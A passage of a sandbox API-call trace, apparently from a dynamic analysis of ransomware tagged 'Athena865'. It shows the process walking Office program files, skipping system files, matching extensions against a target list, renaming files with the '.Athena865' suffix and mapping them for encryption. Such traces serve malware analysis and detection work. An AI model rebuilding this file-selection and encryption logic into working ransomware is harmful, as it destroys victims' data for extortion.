Size=0x104) returned 0x530d20 [0087.269] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0087.269] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0087.269] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0087.270] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0087.270] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0087.270] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0087.270] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0087.270] CloseHandle (hObject=0x17c) returned 1 [0087.270] CloseHandle (hObject=0x154) returned 1 [0087.270] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0087.270] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519008 | out: hHeap=0x4f0000) returned 1 [0087.270] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0087.270] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2596300, ftCreationTime.dwHighDateTime=0x1c9ab47, ftLastAccessTime.dwLowDateTime=0x850d7f00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb2596300, ftLastWriteTime.dwHighDateTime=0x1c9ab47, nFileSizeHigh=0x0, nFileSizeLow=0x484, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VisioCustom.propdesc", cAlternateFileName="VISIOC~1.PRO")) returned 1 [0087.270] lstrcmpiW (lpString1="VisioCustom.propdesc", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0087.270] lstrcmpiW (lpString1="VisioCustom.propdesc", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0087.270] lstrcmpiW (lpString1="VisioCustom.propdesc", lpString2=".") returned 1 [0087.270] lstrcmpiW (lpString1="VisioCustom.propdesc", lpString2="..") returned 1 [0087.270] lstrcmpiW (lpString1="VisioCustom.propdesc", lpString2="windows") returned -1 [0087.270] lstrcmpiW (lpString1="VisioCustom.propdesc", lpString2="bootmgr") returned 1 [0087.271] lstrcmpiW (lpString1="VisioCustom.propdesc", lpString2="temp") returned 1 [0087.271] lstrcmpiW (lpString1="VisioCustom.propdesc", lpString2="pagefile.sys") returned 1 [0087.271] lstrcmpiW (lpString1="VisioCustom.propdesc", lpString2="boot") returned 1 [0087.271] lstrcmpiW (lpString1="VisioCustom.propdesc", lpString2="ids.txt") returned 1 [0087.271] lstrcmpiW (lpString1="VisioCustom.propdesc", lpString2="ntuser.dat") returned 1 [0087.271] lstrcmpiW (lpString1="VisioCustom.propdesc", lpString2="perflogs") returned 1 [0087.271] lstrcmpiW (lpString1="VisioCustom.propdesc", lpString2="MSBuild") returned 1 [0087.271] lstrlenW (lpString="VisioCustom.propdesc") returned 20 [0087.271] lstrcpyW (in: lpString1=0x241e89e, lpString2="VisioCustom.propdesc" | out: lpString1="VisioCustom.propdesc") returned="VisioCustom.propdesc" [0087.271] lstrlenW (lpString="VisioCustom.propdesc") returned 20 [0087.271] lstrlenW (lpString="Athena865") returned 9 [0087.271] lstrcmpiW (lpString1=".propdesc", lpString2="Athena865") returned -1 [0087.271] lstrlenW (lpString=".dll") returned 4 [0087.271] lstrcmpiW (lpString1="VisioCustom.propdesc", lpString2=".dll") returned 1 [0087.271] lstrlenW (lpString=".lnk") returned 4 [0087.271] lstrcmpiW (lpString1="VisioCustom.propdesc", lpString2=".lnk") returned 1 [0087.271] lstrlenW (lpString=".ini") returned 4 [0087.271] lstrcmpiW (lpString1="VisioCustom.propdesc", lpString2=".ini") returned 1 [0087.271] lstrlenW (lpString=".sys") returned 4 [0087.271] lstrcmpiW (lpString1="VisioCustom.propdesc", lpString2=".sys") returned 1 [0087.271] lstrlenW (lpString="VisioCustom.propdesc") returned 20 [0087.271] lstrlenW (lpString="bak") returned 3 [0087.271] lstrcmpiW (lpString1="esc", lpString2="bak") returned 1 [0087.271] lstrlenW (lpString="ba_") returned 3 [0087.271] lstrcmpiW (lpString1="esc", lpString2="ba_") returned 1 [0087.271] lstrlenW (lpString="dbb") returned 3 [0087.271] lstrcmpiW (lpString1="esc", lpString2="dbb") returned 1 [0087.271] lstrlenW (lpString="vmdk") returned 4 [0087.271] lstrcmpiW (lpString1="desc", lpString2="vmdk") returned -1 [0087.271] lstrlenW (lpString="rar") returned 3 [0087.271] lstrcmpiW (lpString1="esc", lpString2="rar") returned -1 [0087.272] lstrlenW (lpString="zip") returned 3 [0087.272] lstrcmpiW (lpString1="esc", lpString2="zip") returned -1 [0087.272] lstrlenW (lpString="tgz") returned 3 [0087.272] lstrcmpiW (lpString1="esc", lpString2="tgz") returned -1 [0087.272] lstrlenW (lpString="vbox") returned 4 [0087.272] lstrcmpiW (lpString1="desc", lpString2="vbox") returned -1 [0087.272] lstrlenW (lpString="vdi") returned 3 [0087.272] lstrcmpiW (lpString1="esc", lpString2="vdi") returned -1 [0087.272] lstrlenW (lpString="vhd") returned 3 [0087.272] lstrcmpiW (lpString1="esc", lpString2="vhd") returned -1 [0087.272] lstrlenW (lpString="vhdx") returned 4 [0087.272] lstrcmpiW (lpString1="desc", lpString2="vhdx") returned -1 [0087.272] lstrlenW (lpString="avhd") returned 4 [0087.272] lstrcmpiW (lpString1="desc", lpString2="avhd") returned 1 [0087.272] lstrlenW (lpString="db") returned 2 [0087.272] lstrcmpiW (lpString1="sc", lpString2="db") returned 1 [0087.272] lstrlenW (lpString="db2") returned 3 [0087.272] lstrcmpiW (lpString1="esc", lpString2="db2") returned 1 [0087.272] lstrlenW (lpString="db3") returned 3 [0087.272] lstrcmpiW (lpString1="esc", lpString2="db3") returned 1 [0087.272] lstrlenW (lpString="dbf") returned 3 [0087.272] lstrcmpiW (lpString1="esc", lpString2="dbf") returned 1 [0087.272] lstrlenW (lpString="mdf") returned 3 [0087.272] lstrcmpiW (lpString1="esc", lpString2="mdf") returned -1 [0087.272] lstrlenW (lpString="mdb") returned 3 [0087.272] lstrcmpiW (lpString1="esc", lpString2="mdb") returned -1 [0087.272] lstrlenW (lpString="sql") returned 3 [0087.272] lstrcmpiW (lpString1="esc", lpString2="sql") returned -1 [0087.272] lstrlenW (lpString="sqlite") returned 6 [0087.272] lstrcmpiW (lpString1="opdesc", lpString2="sqlite") returned -1 [0087.272] lstrlenW (lpString="sqlite3") returned 7 [0087.272] lstrcmpiW (lpString1="ropdesc", lpString2="sqlite3") returned -1 [0087.273] lstrlenW (lpString="sqlitedb") returned 8 [0087.273] lstrcmpiW (lpString1="propdesc", lpString2="sqlitedb") returned -1 [0087.273] lstrlenW (lpString="xml") returned 3 [0087.273] lstrcmpiW (lpString1="esc", lpString2="xml") returned -1 [0087.273] lstrlenW (lpString="$er") returned 3 [0087.273] lstrcmpiW (lpString1="esc", lpString2="$er") returned 1 [0087.273] lstrlenW (lpString="4dd") returned 3 [0087.273] lstrcmpiW (lpString1="esc", lpString2="4dd") returned 1 [0087.273] lstrlenW (lpString="4dl") returned 3 [0087.273] lstrcmpiW (lpString1="esc", lpString2="4dl") returned 1 [0087.273] lstrlenW (lpString="^^^") returned 3 [0087.273] lstrcmpiW (lpString1="esc", lpString2="^^^") returned 1 [0087.273] lstrlenW (lpString="abs") returned 3 [0087.273] lstrcmpiW (lpString1="esc", lpString2="abs") returned 1 [0087.273] lstrlenW (lpString="abx") returned 3 [0087.273] lstrcmpiW (lpString1="esc", lpString2="abx") returned 1 [0087.273] lstrlenW (lpString="accdb") returned 5 [0087.273] lstrcmpiW (lpString1="pdesc", lpString2="accdb") returned 1 [0087.273] lstrlenW (lpString="accdc") returned 5 [0087.273] lstrcmpiW (lpString1="pdesc", lpString2="accdc") returned 1 [0087.273] lstrlenW (lpString="accde") returned 5 [0087.273] lstrcmpiW (lpString1="pdesc", lpString2="accde") returned 1 [0087.273] lstrlenW (lpString="accdr") returned 5 [0087.273] lstrcmpiW (lpString1="pdesc", lpString2="accdr") returned 1 [0087.273] lstrlenW (lpString="accdt") returned 5 [0087.273] lstrcmpiW (lpString1="pdesc", lpString2="accdt") returned 1 [0087.273] lstrlenW (lpString="accdw") returned 5 [0087.273] lstrcmpiW (lpString1="pdesc", lpString2="accdw") returned 1 [0087.273] lstrlenW (lpString="accft") returned 5 [0087.273] lstrcmpiW (lpString1="pdesc", lpString2="accft") returned 1 [0087.273] lstrlenW (lpString="adb") returned 3 [0087.273] lstrcmpiW (lpString1="esc", lpString2="adb") returned 1 [0087.273] lstrlenW (lpString="adb") returned 3 [0087.274] lstrcmpiW (lpString1="esc", lpString2="adb") returned 1 [0087.274] lstrlenW (lpString="ade") returned 3 [0087.274] lstrcmpiW (lpString1="esc", lpString2="ade") returned 1 [0087.274] lstrlenW (lpString="adf") returned 3 [0087.274] lstrcmpiW (lpString1="esc", lpString2="adf") returned 1 [0087.274] lstrlenW (lpString="adn") returned 3 [0087.274] lstrcmpiW (lpString1="esc", lpString2="adn") returned 1 [0087.274] lstrlenW (lpString="adp") returned 3 [0087.274] lstrcmpiW (lpString1="esc", lpString2="adp") returned 1 [0087.274] lstrlenW (lpString="alf") returned 3 [0087.274] lstrcmpiW (lpString1="esc", lpString2="alf") returned 1 [0087.274] lstrlenW (lpString="ask") returned 3 [0087.274] lstrcmpiW (lpString1="esc", lpString2="ask") returned 1 [0087.274] lstrlenW (lpString="btr") returned 3 [0087.274] lstrcmpiW (lpString1="esc", lpString2="btr") returned 1 [0087.274] lstrlenW (lpString="cat") returned 3 [0087.274] lstrcmpiW (lpString1="esc", lpString2="cat") returned 1 [0087.274] lstrlenW (lpString="cdb") returned 3 [0087.274] lstrcmpiW (lpString1="esc", lpString2="cdb") returned 1 [0087.274] lstrlenW (lpString="ckp") returned 3 [0087.274] lstrcmpiW (lpString1="esc", lpString2="ckp") returned 1 [0087.274] lstrlenW (lpString="cma") returned 3 [0087.274] lstrcmpiW (lpString1="esc", lpString2="cma") returned 1 [0087.274] lstrlenW (lpString="cpd") returned 3 [0087.274] lstrcmpiW (lpString1="esc", lpString2="cpd") returned 1 [0087.274] lstrlenW (lpString="dacpac") returned 6 [0087.274] lstrcmpiW (lpString1="opdesc", lpString2="dacpac") returned 1 [0087.274] lstrlenW (lpString="dad") returned 3 [0087.274] lstrcmpiW (lpString1="esc", lpString2="dad") returned 1 [0087.274] lstrlenW (lpString="dadiagrams") returned 10 [0087.274] lstrcmpiW (lpString1="m.propdesc", lpString2="dadiagrams") returned 1 [0087.274] lstrlenW (lpString="daschema") returned 8 [0087.274] lstrcmpiW (lpString1="propdesc", lpString2="daschema") returned 1 [0087.275] lstrlenW (lpString="db-journal") returned 10 [0087.275] lstrcmpiW (lpString1="m.propdesc", lpString2="db-journal") returned 1 [0087.275] lstrlenW (lpString="db-shm") returned 6 [0087.275] lstrcmpiW (lpString1="opdesc", lpString2="db-shm") returned 1 [0087.275] lstrlenW (lpString="db-wal") returned 6 [0087.275] lstrcmpiW (lpString1="opdesc", lpString2="db-wal") returned 1 [0087.275] lstrlenW (lpString="dbc") returned 3 [0087.275] lstrcmpiW (lpString1="esc", lpString2="dbc") returned 1 [0087.275] lstrlenW (lpString="dbs") returned 3 [0087.275] lstrcmpiW (lpString1="esc", lpString2="dbs") returned 1 [0087.275] lstrlenW (lpString="dbt") returned 3 [0087.275] lstrcmpiW (lpString1="esc", lpString2="dbt") returned 1 [0087.275] lstrlenW (lpString="dbv") returned 3 [0087.275] lstrcmpiW (lpString1="esc", lpString2="dbv") returned 1 [0087.275] lstrlenW (lpString="dbx") returned 3 [0087.275] lstrcmpiW (lpString1="esc", lpString2="dbx") returned 1 [0087.275] lstrlenW (lpString="dcb") returned 3 [0087.275] lstrcmpiW (lpString1="esc", lpString2="dcb") returned 1 [0087.275] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\VisioCustom.propdesc.Athena865") returned 73 [0087.275] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\VisioCustom.propdesc" (normalized: "c:\\program files\\microsoft office\\office14\\visiocustom.propdesc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\VisioCustom.propdesc.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\visiocustom.propdesc.athena865"), dwFlags=0x1) returned 1 [0087.276] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\VisioCustom.propdesc.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\visiocustom.propdesc.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0087.276] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1156) returned 1 [0087.276] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0087.277] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0087.277] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519008 [0087.277] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518f80) returned 1 [0087.277] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0087.277] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0087.278] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x790, lpName=0x0) returned 0x17c [0087.280] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x790) returned 0x100000 [0087.282] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518f80) returned 1 [0087.283] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0087.283] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0087.283] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0087.284] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0087.284] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0087.284] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0087.284] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0087.284] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0087.284] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0087.284] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0087.284] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0087.284] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0087.284] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0087.284] CloseHandle (hObject=0x17c) returned 1 [0087.284] CloseHandle (hObject=0x154) returned 1 [0087.284] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0087.284] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519008 | out: hHeap=0x4f0000) returned 1 [0087.284] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0087.285] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45b97800, ftCreationTime.dwHighDateTime=0x1cbd8c9, ftLastAccessTime.dwLowDateTime=0xd1c38ec0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x45b97800, ftLastWriteTime.dwHighDateTime=0x1cbd8c9, nFileSizeHigh=0x0, nFileSizeLow=0x12d0b68, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VISLIB.DLL", cAlternateFileName="")) returned 1 [0087.285] lstrcmpiW (lpString1="VISLIB.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0087.285] lstrcmpiW (lpString1="VISLIB.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0087.285] lstrcmpiW (lpString1="VISLIB.DLL", lpString2=".") returned 1 [0087.285] lstrcmpiW (lpString1="VISLIB.DLL", lpString2="..") returned 1 [0087.285] lstrcmpiW (lpString1="VISLIB.DLL", lpString2="windows") returned -1 [0087.285] lstrcmpiW (lpString1="VISLIB.DLL", lpString2="bootmgr") returned 1 [0087.285] lstrcmpiW (lpString1="VISLIB.DLL", lpString2="temp") returned 1 [0087.285] lstrcmpiW (lpString1="VISLIB.DLL", lpString2="pagefile.sys") returned 1 [0087.285] lstrcmpiW (lpString1="VISLIB.DLL", lpString2="boot") returned 1 [0087.285] lstrcmpiW (lpString1="VISLIB.DLL", lpString2="ids.txt") returned 1 [0087.285] lstrcmpiW (lpString1="VISLIB.DLL", lpString2="ntuser.dat") returned 1 [0087.285] lstrcmpiW (lpString1="VISLIB.DLL", lpString2="perflogs") returned 1 [0087.285] lstrcmpiW (lpString1="VISLIB.DLL", lpString2="MSBuild") returned 1 [0087.285] lstrlenW (lpString="VISLIB.DLL") returned 10 [0087.285] lstrcpyW (in: lpString1=0x241e89e, lpString2="VISLIB.DLL" | out: lpString1="VISLIB.DLL") returned="VISLIB.DLL" [0087.285] lstrlenW (lpString="VISLIB.DLL") returned 10 [0087.285] lstrlenW (lpString="Athena865") returned 9 [0087.285] lstrcmpiW (lpString1="ISLIB.DLL", lpString2="Athena865") returned 1 [0087.285] lstrlenW (lpString=".dll") returned 4 [0087.285] lstrcmpiW (lpString1="VISLIB.DLL", lpString2=".dll") returned 1 [0087.285] lstrlenW (lpString=".lnk") returned 4 [0087.285] lstrcmpiW (lpString1="VISLIB.DLL", lpString2=".lnk") returned 1 [0087.285] lstrlenW (lpString=".ini") returned 4 [0087.285] lstrcmpiW (lpString1="VISLIB.DLL", lpString2=".ini") returned 1 [0087.285] lstrlenW (lpString=".sys") returned 4 [0087.285] lstrcmpiW (lpString1="VISLIB.DLL", lpString2=".sys") returned 1 [0087.285] lstrlenW (lpString="VISLIB.DLL") returned 10 [0087.286] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\VISLIB.DLL.Athena865") returned 63 [0087.286] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\VISLIB.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\vislib.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\VISLIB.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\vislib.dll.athena865"), dwFlags=0x1) returned 1 [0087.290] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\VISLIB.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\vislib.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0087.290] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=19729256) returned 1 [0087.290] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0087.291] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0087.291] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519008 [0087.291] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518f80) returned 1 [0087.291] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0087.291] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0087.292] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x12d0e70, lpName=0x0) returned 0x17c [0087.293] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x1200000, dwNumberOfBytesToMap=0xd0e70) returned 0x2d50000 [0087.350] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x200000) returned 0x3160000 [0087.460] UnmapViewOfFile (lpBaseAddress=0x3160000) returned 1 [0087.478] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518f80) returned 1 [0087.478] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0087.478] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0087.479] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0087.479] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0087.479] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0087.479] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0087.479] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0087.479] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0087.479] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0087.479] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0087.479] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0087.479] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0087.479] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0087.486] CloseHandle (hObject=0x17c) returned 1 [0087.486] CloseHandle (hObject=0x154) returned 1 [0087.486] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0087.486] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519008 | out: hHeap=0x4f0000) returned 1 [0087.487] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0087.495] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d766e00, ftCreationTime.dwHighDateTime=0x1cac1e7, ftLastAccessTime.dwLowDateTime=0x852a0f80, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x7d766e00, ftLastWriteTime.dwHighDateTime=0x1cac1e7, nFileSizeHigh=0x0, nFileSizeLow=0x6bb80, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VISOCX.DLL", cAlternateFileName="")) returned 1 [0087.495] lstrcmpiW (lpString1="VISOCX.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0087.495] lstrcmpiW (lpString1="VISOCX.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0087.495] lstrcmpiW (lpString1="VISOCX.DLL", lpString2=".") returned 1 [0087.495] lstrcmpiW (lpString1="VISOCX.DLL", lpString2="..") returned 1 [0087.495] lstrcmpiW (lpString1="VISOCX.DLL", lpString2="windows") returned -1 [0087.495] lstrcmpiW (lpString1="VISOCX.DLL", lpString2="bootmgr") returned 1 [0087.495] lstrcmpiW (lpString1="VISOCX.DLL", lpString2="temp") returned 1 [0087.495] lstrcmpiW (lpString1="VISOCX.DLL", lpString2="pagefile.sys") returned 1 [0087.495] lstrcmpiW (lpString1="VISOCX.DLL", lpString2="boot") returned 1 [0087.495] lstrcmpiW (lpString1="VISOCX.DLL", lpString2="ids.txt") returned 1 [0087.495] lstrcmpiW (lpString1="VISOCX.DLL", lpString2="ntuser.dat") returned 1 [0087.495] lstrcmpiW (lpString1="VISOCX.DLL", lpString2="perflogs") returned 1 [0087.495] lstrcmpiW (lpString1="VISOCX.DLL", lpString2="MSBuild") returned 1 [0087.496] lstrlenW (lpString="VISOCX.DLL") returned 10 [0087.496] lstrcpyW (in: lpString1=0x241e89e, lpString2="VISOCX.DLL" | out: lpString1="VISOCX.DLL") returned="VISOCX.DLL" [0087.496] lstrlenW (lpString="VISOCX.DLL") returned 10 [0087.496] lstrlenW (lpString="Athena865") returned 9 [0087.496] lstrcmpiW (lpString1="ISOCX.DLL", lpString2="Athena865") returned 1 [0087.496] lstrlenW (lpString=".dll") returned 4 [0087.496] lstrcmpiW (lpString1="VISOCX.DLL", lpString2=".dll") returned 1 [0087.496] lstrlenW (lpString=".lnk") returned 4 [0087.496] lstrcmpiW (lpString1="VISOCX.DLL", lpString2=".lnk") returned 1 [0087.496] lstrlenW (lpString=".ini") returned 4 [0087.496] lstrcmpiW (lpString1="VISOCX.DLL", lpString2=".ini") returned 1 [0087.496] lstrlenW (lpString=".sys") returned 4 [0087.496] lstrcmpiW (lpString1="VISOCX.DLL", lpString2=".sys") returned 1 [0087.496] lstrlenW (lpString="VISOCX.DLL") returned 10 [0087.496] lstrlenW (lpString="bak") returned 3 [0087.496] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0087.496] lstrlenW (lpString="ba_") returned 3 [0087.496] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0087.496] lstrlenW (lpString="dbb") returned 3 [0087.496] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0087.496] lstrlenW (lpString="vmdk") returned 4 [0087.496] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1 [0087.496] lstrlenW (lpString="rar") returned 3 [0087.496] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0087.496] lstrlenW (lpString="zip") returned 3 [0087.496] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0087.496] lstrlenW (lpString="tgz") returned 3 [0087.496] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0087.496] lstrlenW (lpString="vbox") returned 4 [0087.496] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1 [0087.496] lstrlenW (lpString="vdi") returned 3 [0087.496] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0087.497] lstrlenW (lpString="vhd") returned 3 [0087.497] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0087.497] lstrlenW (lpString="vhdx") returned 4 [0087.497] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1 [0087.497] lstrlenW (lpString="avhd") returned 4 [0087.497] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1 [0087.497] lstrlenW (lpString="db") returned 2 [0087.497] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0087.497] lstrlenW (lpString="db2") returned 3 [0087.497] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0087.497] lstrlenW (lpString="db3") returned 3 [0087.497] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0087.497] lstrlenW (lpString="dbf") returned 3 [0087.497] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0087.497] lstrlenW (lpString="mdf") returned 3 [0087.497] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0087.497] lstrlenW (lpString="mdb") returned 3 [0087.497] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0087.497] lstrlenW (lpString="sql") returned 3 [0087.497] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0087.497] lstrlenW (lpString="sqlite") returned 6 [0087.497] lstrcmpiW (lpString1="CX.DLL", lpString2="sqlite") returned -1 [0087.497] lstrlenW 